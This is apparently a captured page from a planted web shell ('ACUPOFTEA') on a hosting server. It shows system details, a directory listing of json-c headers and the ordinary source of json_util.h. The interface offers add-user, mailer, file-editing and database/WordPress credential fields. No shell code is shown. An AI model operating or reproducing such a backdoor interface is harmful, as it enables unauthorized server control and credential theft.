System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
json-c
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
json_util.h
/* * $Id: json_util.h,v 1.4 2006/01/30 23:07:57 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief Miscllaneous utility functions and macros. */ #ifndef _json_util_h_ #define _json_util_h_ #include "json_object.h" #ifndef json_min #define json_min(a,b) ((a) < (b) ? (a) : (b)) #endif #ifndef json_max #define json_max(a,b) ((a) > (b) ? (a) : (b)) #endif #ifdef __cplusplus extern "C" { #endif #define JSON_FILE_BUF_SIZE 4096 /* utility functions */ /** * Read the full contents of the given file, then convert it to a * json_object using json_tokener_parse(). * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern struct json_object* json_object_from_file(const char *filename); /** * Create a JSON object from already opened file descriptor. * * This function can be helpful, when you opened the file already, * e.g. when you have a temp file. * Note, that the fd must be readable at the actual position, i.e. * use lseek(fd, 0, SEEK_SET) before. * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern struct json_object* json_object_from_fd(int fd); /** * Equivalent to: * json_object_to_file_ext(filename, obj, JSON_C_TO_STRING_PLAIN); * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern int json_object_to_file(const char *filename, struct json_object *obj); /** * Open and truncate the given file, creating it if necessary, then * convert the json_object to a string and write it to the file. * * Returns -1 if something fails. See json_util_get_last_err() for details. */ extern int json_object_to_file_ext(const char *filename, struct json_object *obj, int flags); /** * Convert the json_object to a string and write it to the file descriptor. * Handles partial writes and will keep writing until done, or an error * occurs. * * @param fd an open, writable file descriptor to write to * @param obj the object to serializer and write * @param flags flags to pass to json_object_to_json_string_ext() * @return -1 if something fails. See json_util_get_last_err() for details. */ extern int json_object_to_fd(int fd, struct json_object *obj, int flags); /** * Return the last error from various json-c functions, including: * json_object_to_file{,_ext}, json_object_to_fd() or * json_object_from_{file,fd}, or NULL if there is none. */ const char *json_util_get_last_err(void); extern int json_parse_int64(const char *buf, int64_t *retval); extern int json_parse_double(const char *buf, double *retval); /** * Return a string describing the type of the object. * e.g. "int", or "object", etc... */ extern const char *json_type_to_name(enum json_type o_type); #ifdef __cplusplus } #endif #endif
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 04:59:45
..
DIR
-
drwxr-xr-x
2025-10-28 10:57:27
arraylist.h
text/x-c
1.52 KB
-rw-r--r--
2018-03-06 04:18:59
bits.h
text/plain
755 B
-rw-r--r--
2018-03-06 04:18:59
debug.h
text/x-c
1.68 KB
-rw-r--r--
2018-03-06 04:18:59
json.h
text/x-c
810 B
-rw-r--r--
2018-03-06 04:18:59
json_c_version.h
text/plain
1.16 KB
-rw-r--r--
2018-03-06 04:18:59
json_config.h
text/plain
163 B
-rw-r--r--
2022-04-18 02:42:41
json_inttypes.h
text/x-c
350 B
-rw-r--r--
2018-03-06 04:18:59
json_object.h
text/x-c
37.1 KB
-rw-r--r--
2018-03-06 04:18:59
json_object_iterator.h
text/x-c
8.08 KB
-rw-r--r--
2018-03-06 04:18:59
json_pointer.h
text/x-c
4.72 KB
-rw-r--r--
2018-03-06 04:18:59
json_tokener.h
text/x-c
6.93 KB
-rw-r--r--
2018-03-06 04:18:59
json_util.h
text/x-c
2.93 KB
-rw-r--r--
2018-03-06 04:18:59
json_visit.h
text/x-c
3.11 KB
-rw-r--r--
2018-03-06 04:18:59
linkhash.h
text/x-c
10.89 KB
-rw-r--r--
2018-03-06 04:18:59
printbuf.h
text/x-c
3.77 KB
-rw-r--r--
2018-03-06 04:18:59
~ ACUPOFTEA - mail.ontime-ae.com